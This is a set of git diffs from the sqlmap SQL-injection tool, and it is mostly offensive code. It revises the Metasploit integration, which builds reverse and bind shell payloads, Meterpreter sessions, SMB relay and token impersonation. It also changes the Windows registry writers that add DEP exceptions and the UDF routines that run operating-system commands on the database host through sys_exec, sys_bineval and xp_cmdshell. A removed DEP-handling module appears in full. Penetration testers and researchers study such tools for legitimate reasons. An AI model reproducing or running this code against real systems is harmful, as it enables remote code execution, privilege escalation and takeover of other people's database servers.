elif kb.dbms == "Microsoft SQL Server":
self.cleanup(onlyFileTbl=True)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
self.__cmdShellCleanup()
def initEnv(self, mandatory=True, detailed=False):
if self.envInitialized == True:
if self.envInitialized:
return
self.checkDbmsOs(detailed)
if self.isDba() == False:
if not self.isDba():
warnMsg = "the functionality requested might not work because "
warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.udfInit()
self.udfInjectCmd()
elif kb.dbms == "Microsoft SQL Server":
self.xpCmdshellInit(mandatory)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
errMsg = "feature not yet implemented for the back-end DBMS"
raise sqlmapUnsupportedFeatureException, errMsg

View File

@@ -1,176 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setDEP
class DEP:
"""
This class defines methods to handle DEP (Data Execution Prevention)
The following operating systems has DEP enabled by default:
* Windows XP SP2+
* Windows Server 2003 SP1+
* Windows Vista SP0+
* Windows 2008 SP0+
References:
* http://support.microsoft.com/kb/875352
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
"""
def __init__(self):
self.bypassDEP = False
self.__supportDEP = False
def __initVars(self, exe):
self.__DEPvalues = {
"OPTIN": "only Windows system binaries are covered by DEP by default",
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
"ALWAYSOFF": "no DEP coverage for any part of the system"
}
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
self.__excRegValue = exe
self.__excRegValue = self.__excRegValue.replace("/", "\\")
def __addException(self):
infoMsg = "adding an exception to DEP in the Windows registry "
infoMsg += "for '%s' executable" % self.__excRegValue
logger.info(infoMsg)
if kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL server runs as postgres "
warnMsg += "user which has no privileges to add/delete "
warnMsg += "Windows registry keys, sqlmap will give it a try "
warnMsg += "anyway"
logger.warn(warnMsg)
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
def delException(self):
if self.bypassDEP == False:
return
infoMsg = "deleting the exception to DEP in the Windows registry "
infoMsg += "for Metasploit Framework 3 payload stager"
logger.info(infoMsg)
self.delRegKey(self.__excRegKey, self.__excRegValue)
def __analyzeDEP(self):
detectedValue = False
for value, explanation in self.__DEPvalues.items():
if value in kb.dep:
detectedValue = True
if value in ( "OPTIN", "ALWAYSOFF" ):
logger.info(explanation)
self.bypassDEP = False
elif value == "OPTOUT":
logger.info(explanation)
self.bypassDEP = True
self.__addException()
elif value == "ALWAYSON":
logger.warn(explanation)
self.bypassDEP = True
self.__addException()
if detectedValue == False:
warnMsg = "it was not possible to detect the DEP system "
warnMsg += "policy, sqlmap will threat as if "
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
logger.warn(warnMsg)
self.__addException()
def __systemHasDepSupport(self):
depEnabledOS = {
"2003": ( 1, 2 ),
"2008": ( 0, 1 ),
"XP": ( 2, 3 ),
"Vista": ( 0, 1 ),
}
for version, sps in depEnabledOS.items():
if kb.osVersion == version and kb.osSP in sps:
self.__supportDEP = True
break
def handleDep(self, exe):
logger.info("handling DEP")
self.__systemHasDepSupport()
if self.__supportDEP == True:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "supports DEP: going to handle it"
logger.info(infoMsg)
elif not kb.osVersion or not kb.osSP:
warnMsg = "unable to fingerprint the back-end DBMS "
warnMsg += "underlying operating system version and service "
warnMsg += "pack: going to threat as if DEP is enabled"
logger.warn(warnMsg)
self.bypassDEP = True
else:
infoMsg = "the back-end DBMS underlying operating system "
infoMsg += "does not support DEP: no need to handle it"
logger.info(infoMsg)
return
logger.info("checking DEP system policy")
self.__initVars(exe)
if not kb.dep:
kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper()
setDEP()
self.__analyzeDEP()

View File

@@ -22,9 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import re
import stat
@@ -62,20 +59,22 @@ class Metasploit:
def __initVars(self):
self.connectionStr = None
self.lhostStr = None
self.rhostStr = None
self.portStr = None
self.payloadStr = None
self.encoderStr = None
self.payloadConnStr = None
self.resourceFile = None
self.localIP = getLocalIP()
self.remoteIP = getRemoteIP()
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
self.__msfCli = os.path.normpath(os.path.join(conf.msfPath, "msfcli"))
self.__msfConsole = os.path.normpath(os.path.join(conf.msfPath, "msfconsole"))
self.__msfEncode = os.path.normpath(os.path.join(conf.msfPath, "msfencode"))
self.__msfPayload = os.path.normpath(os.path.join(conf.msfPath, "msfpayload"))
self.__msfPayloadsList = {
"windows": {
@@ -90,14 +89,13 @@ class Metasploit:
self.__msfConnectionsList = {
"windows": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
3: ( "Reverse TCP", "reverse_tcp" ),
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
},
"linux": {
1: ( "Bind TCP (default)", "bind_tcp" ),
2: ( "Reverse TCP", "reverse_tcp" ),
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
}
}
@@ -127,27 +125,26 @@ class Metasploit:
}
self.__portData = {
"bind": "remote port numer",
"reverse": "local port numer",
"bind": "remote port number",
"reverse": "local port number",
}
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
if kb.os == "Windows":
os = "windows"
opSys = "windows"
else:
os = "linux"
opSys = "linux"
message = "which %s do you want to use?" % msg
if lst:
for num, data in lst[os].items():
for num, data in lst[opSys].items():
description = data[0]
if num > maxValue:
maxValue = num
if "default" in description:
if "(default)" in description:
default = num
message += "\n[%d] %s" % (num, description)
@@ -173,26 +170,26 @@ class Metasploit:
choice = int(choice)
if lst:
choice = lst[os][choice][1]
choice = lst[opSys][choice][1]
return choice
def __selectSMBPort(self):
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
def __selectEncoder(self, encode=True):
if kb.os == "Windows" and encode == True:
if isinstance(encode, str):
return encode
elif kb.os == "Windows" and encode:
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
def __selectPayload(self, askChurrasco=True):
if kb.os == "Windows" and conf.privEsc == True:
if kb.os == "Windows" and conf.privEsc:
infoMsg = "forcing Metasploit payload to Meterpreter because "
infoMsg += "it is the only payload that can be used to abuse "
infoMsg += "Windows Impersonation Tokens via Meterpreter "
infoMsg += "'incognito' extension to privilege escalate"
infoMsg += "it is the only payload that can abuse Windows "
infoMsg += "Access Tokens via Meterpreter 'incognito' "
infoMsg += "extension to privilege escalate"
logger.info(infoMsg)
__payloadStr = "windows/meterpreter"
@@ -221,12 +218,12 @@ class Metasploit:
choose = True
warnMsg = "it is unlikely that the VNC injection will be "
warnMsg += "successful because often Microsoft SQL Server "
warnMsg += "successful because usually Microsoft SQL Server "
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
warnMsg += "or the Administrator is not logged in"
logger.warn(warnMsg)
if choose == True:
if choose:
message = "what do you want to do?\n"
message += "[1] Give it a try anyway\n"
message += "[2] Fall back to Meterpreter payload (default)\n"
@@ -251,7 +248,7 @@ class Metasploit:
break
elif askChurrasco == False:
elif not askChurrasco:
logger.warn("beware that the VNC injection might not work")
break
@@ -259,7 +256,7 @@ class Metasploit:
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
uploaded = self.uploadChurrasco()
if uploaded == False:
if not uploaded:
warnMsg = "beware that the VNC injection "
warnMsg += "might not work"
logger.warn(warnMsg)
@@ -274,13 +271,11 @@ class Metasploit:
return __payloadStr
def __selectPort(self):
for connType, connStr in self.__portData.items():
if self.connectionStr.startswith(connType):
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
def __selectRhost(self):
if self.connectionStr.startswith("bind"):
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
@@ -297,22 +292,40 @@ class Metasploit:
else:
raise sqlmapDataException, "unexpected connection type"
def __selectLhost(self):
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
message = "which is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
if not address:
address = self.localIP
return address
elif self.connectionStr.startswith("bind"):
return None
else:
raise sqlmapDataException, "unexpected connection type"
def __selectConnection(self):
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
def __prepareIngredients(self, encode=True, askChurrasco=True):
self.connectionStr = self.__selectConnection()
self.lhostStr = self.__selectLhost()
self.rhostStr = self.__selectRhost()
self.portStr = self.__selectPort()
self.payloadStr = self.__selectPayload(askChurrasco)
self.encoderStr = self.__selectEncoder(encode)
if self.payloadStr == "linux/x86/shell":
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
else:
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfCliCmd(self, exitfunc="process"):
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
self.__cliCmd += " EXITFUNC=%s" % exitfunc
self.__cliCmd += " LPORT=%s" % self.portStr
@@ -323,68 +336,62 @@ class Metasploit:
self.__cliCmd += " RHOST=%s" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__cliCmd += " LHOST=%s" % self.localIP
self.__cliCmd += " LHOST=%s" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__cliCmd += " E"
def __forgeMsfConsoleCmd(self):
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
def __forgeMsfConsoleResource(self):
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
self.__prepareIngredients(encode=False, askChurrasco=False)
self.__resource = "use windows/smb/smb_relay\n"
self.__resource += "set SRVHOST %s\n" % self.localIP
self.__resource += "set SRVHOST %s\n" % self.lhostStr
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
self.__resource += "set LPORT %s\n" % self.portStr
if self.connectionStr.startswith("bind"):
self.__resource += "set RHOST %s\n" % self.rhostStr
elif self.connectionStr.startswith("reverse"):
self.__resource += "set LHOST %s\n" % self.localIP
self.__resource += "set LHOST %s\n" % self.lhostStr
else:
raise sqlmapDataException, "unexpected connection type"
self.__resource += "exploit\n"
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp = open(self.resourceFile, "w")
self.resourceFp.write(self.__resource)
self.resourceFp.close()
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
self.__payloadCmd = self.__msfPayload
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
self.__payloadCmd += " LPORT=%s" % self.portStr
if self.connectionStr.startswith("reverse"):
self.__payloadCmd += " LHOST=%s" % self.localIP
self.__payloadCmd += " LHOST=%s" % self.lhostStr
elif not self.connectionStr.startswith("bind"):
raise sqlmapDataException, "unexpected connection type"
if kb.os == "Windows":
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
if kb.os == "Windows" or extra == "BufferRegister=EAX":
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
if extra is not None:
self.__payloadCmd += " %s" % extra
else:
self.__payloadCmd += " X"
self.__payloadCmd += " X > %s" % outFile
def __runMsfCli(self, exitfunc="process"):
def __runMsfCli(self, exitfunc):
self.__forgeMsfCliCmd(exitfunc)
infoMsg = "running Metasploit Framework 3 command line "
@@ -392,18 +399,21 @@ class Metasploit:
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__cliCmd)
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfConsole(self):
infoMsg = "running Metasploit Framework 3 console locally, wait.."
logger.info(infoMsg)
logger.debug("executing local command: %s" % self.__consoleCmd)
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
def __runMsfShellcodeRemote(self):
infoMsg = "running Metasploit Framework 3 shellcode "
infoMsg += "remotely via UDF 'sys_bineval', wait.."
logger.info(infoMsg)
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
def __runMsfPayloadRemote(self):
infoMsg = "running Metasploit Framework 3 payload stager "
@@ -415,44 +425,39 @@ class Metasploit:
cmd = "%s &" % self.exeFilePathRemote
if self.cmdFromChurrasco == True:
if self.cmdFromChurrasco:
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(cmd)
# NOTE: calling the Metasploit payload from a system() function in
# C on Windows (check on Linux the behaviour) for some reason
# hangs it and the HTTP response goes into timeout, this does not
# happen when running the it from Windows cmd.
# Investigate and fix if possible
self.execCmd(cmd, silent=True)
def __loadMetExtensions(self, proc, metSess):
if kb.os != "Windows":
return
if self.resourceFile != None:
if self.resourceFile is not None:
proc.stdin.write("sessions -l\n")
proc.stdin.write("sessions -i %s\n" % metSess)
proc.stdin.write("use priv\n")
proc.stdin.write("getuid\n")
if conf.privEsc == True:
proc.stdin.write("use espia\n")
proc.stdin.write("use incognito\n")
proc.stdin.write("use priv\n")
proc.stdin.write("use sniffer\n")
if conf.privEsc:
print
infoMsg = "loading Meterpreter 'incognito' extension and "
infoMsg += "displaying the list of Access Tokens availables. "
infoMsg = "displaying the list of Access Tokens availables. "
infoMsg += "Choose which user you want to impersonate by "
infoMsg += "using incognito's command 'impersonate_token'"
logger.info(infoMsg)
proc.stdin.write("use incognito\n")
proc.stdin.write("getuid\n")
proc.stdin.write("list_tokens -u\n")
def __controlMsfCmd(self, proc, func):
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
@@ -494,9 +499,15 @@ class Metasploit:
if pwnBofCond or smbRelayCond:
func()
if "Starting the payload handler" in out and "shell" in self.payloadStr:
if kb.os == "Windows":
proc.stdin.write("whoami\n")
else:
proc.stdin.write("uname -a ; id\n")
metSess = re.search("Meterpreter session ([\d]+) opened", out)
if metSess and self.payloadStr == "windows/meterpreter":
if metSess:
self.__loadMetExtensions(proc, metSess.group(1))
except EOFError:
@@ -504,57 +515,49 @@ class Metasploit:
return returncode
def createMsfShellcode(self):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
infoMsg += "for the exploit"
def createMsfShellcode(self, exitfunc, format, extra, encode):
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
logger.info(infoMsg)
self.__randStr = randomStr(lowercase=True)
self.shellcodeChar = ""
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__initVars()
self.__prepareIngredients(askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
self.__prepareIngredients(encode=encode, askChurrasco=False)
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
if kb.os == "Windows" or extra == "BufferRegister=EAX":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__shellcodeFileP.close()
if payloadSize:
payloadSize = payloadSize.group(1)
payloadSize = int(payloadSize.group(1))
debugMsg = "the shellcode size is %s bytes" % payloadSize
if extra == "BufferRegister=EAX":
payloadSize = payloadSize / 2
debugMsg = "the shellcode size is %d bytes" % payloadSize
logger.debug(debugMsg)
else:
raise sqlmapFilePathException, "failed to create the shellcode"
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
raise sqlmapFilePathException, errMsg
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
self.__shellcodeString = self.__shellcodeFileP.read()
self.__shellcodeFileP.close()
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
self.shellcodeString = self.__shellcodeFP.read()
self.__shellcodeFP.close()
os.unlink(self.__shellcodeFilePath)
hexStr = binascii.hexlify(self.__shellcodeString)
for hexPair in range(0, len(hexStr), 2):
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
def createMsfPayloadStager(self, initialize=True):
if initialize == True:
if initialize:
infoMsg = ""
else:
infoMsg = "re"
@@ -566,43 +569,59 @@ class Metasploit:
self.__randStr = randomStr(lowercase=True)
if kb.os == "Windows":
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
# Metasploit developers added support for the old exe format
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
# This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap.
if kb.dbms == "PostgreSQL":
self.__fileFormat = "exe-small"
else:
self.__fileFormat = "exe"
else:
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
self.__fileFormat = "elf"
self.__exeFileP = open(self.exeFilePathLocal, "wb")
if initialize == True:
if initialize:
self.__initVars()
if self.payloadStr == None:
if self.payloadStr is None:
self.__prepareIngredients()
self.__forgeMsfPayloadCmd()
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
logger.debug("executing local command: %s" % self.__payloadCmd)
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
pollProcess(process)
payloadStderr = process.communicate()[1]
if kb.os == "Windows":
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
else:
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
self.__exeFileP.close()
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
if payloadSize:
payloadSize = payloadSize.group(1)
exeSize = os.path.getsize(self.exeFilePathLocal)
packedSize = upx.pack(self.exeFilePathLocal)
# Only pack the payload stager if the back-end DBMS is not
# PostgreSQL because for this DBMS, sqlmap uses the
# Metasploit's old exe format
if self.__fileFormat != "exe-small":
packedSize = upx.pack(self.exeFilePathLocal)
else:
packedSize = None
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
if packedSize:
if packedSize and packedSize < exeSize:
debugMsg += "as a compressed portable executable its size "
debugMsg += "is %d bytes, decompressed it " % packedSize
debugMsg += "was %s bytes large" % exeSize
@@ -612,8 +631,8 @@ class Metasploit:
logger.debug(debugMsg)
else:
raise sqlmapFilePathException, "failed to create the payload stager"
errMsg = "failed to create the payload stager (%s)" % payloadStderr
raise sqlmapFilePathException, errMsg
def uploadMsfPayloadStager(self):
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
@@ -623,29 +642,38 @@ class Metasploit:
os.unlink(self.exeFilePathLocal)
def pwn(self, goUdf=False):
if goUdf:
exitfunc = "thread"
func = self.__runMsfShellcodeRemote
else:
exitfunc = "process"
func = self.__runMsfPayloadRemote
def pwn(self):
self.__runMsfCli()
self.__runMsfCli(exitfunc=exitfunc)
if self.connectionStr.startswith("bind"):
self.__runMsfPayloadRemote()
func()
debugMsg = "Metasploit Framework 3 command line interface exited "
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
logger.debug(debugMsg)
if not goUdf:
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
def smb(self):
self.__initVars()
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd()
if kb.dbms in ( "MySQL", "PostgreSQL" ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
self.__runMsfConsole()
debugMsg = "Metasploit Framework 3 console exited with return "
@@ -654,7 +682,6 @@ class Metasploit:
os.unlink(self.resourceFile)
def bof(self):
self.__runMsfCli(exitfunc="seh")

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.common import randomStr
@@ -31,26 +29,25 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
class Registry:
"""
This class defines methods to read and write Windows registry keys
"""
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
self.__regKey = regKey
self.__regName = regName
self.__regType = regType
self.__regValue = regValue
self.__regType = regType
self.__regData = regData
self.__randStr = randomStr(lowercase=True)
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
if parse == True:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
if parse:
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
else:
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
self.__batRead = (
"@ECHO OFF\r\n",
@@ -59,24 +56,14 @@ class Registry:
self.__batAdd = (
"@ECHO OFF\r\n",
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
)
self.__batDel = (
"@ECHO OFF\r\n",
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
)
def __execBatPathRemote(self):
if kb.dbms == "Microsoft SQL Server":
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
else:
cmd = self.__batPathRemote
self.execCmd(cmd)
def __createLocalBatchFile(self):
self.__batPathFp = open(self.__batPathLocal, "w")
@@ -92,7 +79,6 @@ class Registry:
self.__batPathFp.close()
def __createRemoteBatchFile(self):
logger.debug("creating batch file '%s'" % self.__batPathRemote)
@@ -101,39 +87,47 @@ class Registry:
os.unlink(self.__batPathLocal)
def readRegKey(self, regKey, regName, parse):
def readRegKey(self, regKey, regValue, parse=False):
self.__operation = "read"
self.__initVars(regKey, regName, parse=parse)
self.__initVars(regKey, regValue, parse=parse)
self.__createRemoteBatchFile()
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
return self.evalCmd(self.__batPathRemote)
if not parse:
first = len(regKey) + 6
else:
first = None
data = self.evalCmd(self.__batPathRemote, first)
def addRegKey(self, regKey, regName, regType, regValue):
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
return data
def addRegKey(self, regKey, regValue, regType, regData):
self.__operation = "add"
self.__initVars(regKey, regName, regType, regValue)
self.__initVars(regKey, regValue, regType, regData)
self.__createRemoteBatchFile()
debugMsg = "adding registry key name '%s' " % self.__regName
debugMsg = "adding registry key value '%s' " % self.__regValue
debugMsg += "to registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
def delRegKey(self, regKey, regName):
def delRegKey(self, regKey, regValue):
self.__operation = "delete"
self.__initVars(regKey, regName)
self.__initVars(regKey, regValue)
self.__createRemoteBatchFile()
debugMsg = "deleting registry key name '%s' " % self.__regName
debugMsg = "deleting registry key value '%s' " % self.__regValue
debugMsg += "from registry key '%s'" % self.__regKey
logger.debug(debugMsg)
self.__execBatPathRemote()
self.execCmd(cmd=self.__batPathRemote, forgeCmd=True)
self.delRemoteFile(self.__batPathRemote, doubleslash=True)

View File

@@ -22,11 +22,21 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
from lib.core.agent import agent
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class UDF:
@@ -37,21 +47,66 @@ class UDF:
def __init__(self):
self.createdUdf = set()
self.udfs = {}
self.udfToCreate = set()
def __askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
def udfExecCmd(self, cmd, silent=False):
if output and output[0] in ("y", "Y"):
return True
else:
return False
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
return True
else:
return False
def udfCheckAndOverwrite(self, udf):
exists = self.__checkExistUdf(udf)
overwrite = True
if exists:
overwrite = self.__askOverwriteUdf(udf)
if overwrite:
self.udfToCreate.add(udf)
def udfCreateSupportTbl(self, dataType):
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def udfExecCmd(self, cmd, silent=False, udfName=None):
cmd = urlencode(cmd, convall=True)
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
if udfName is None:
cmd = "'%s'" % cmd
udfName = "sys_exec"
inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)
def udfEvalCmd(self, cmd):
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
cmd = urlencode(cmd, convall=True)
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if udfName is None:
cmd = "'%s'" % cmd
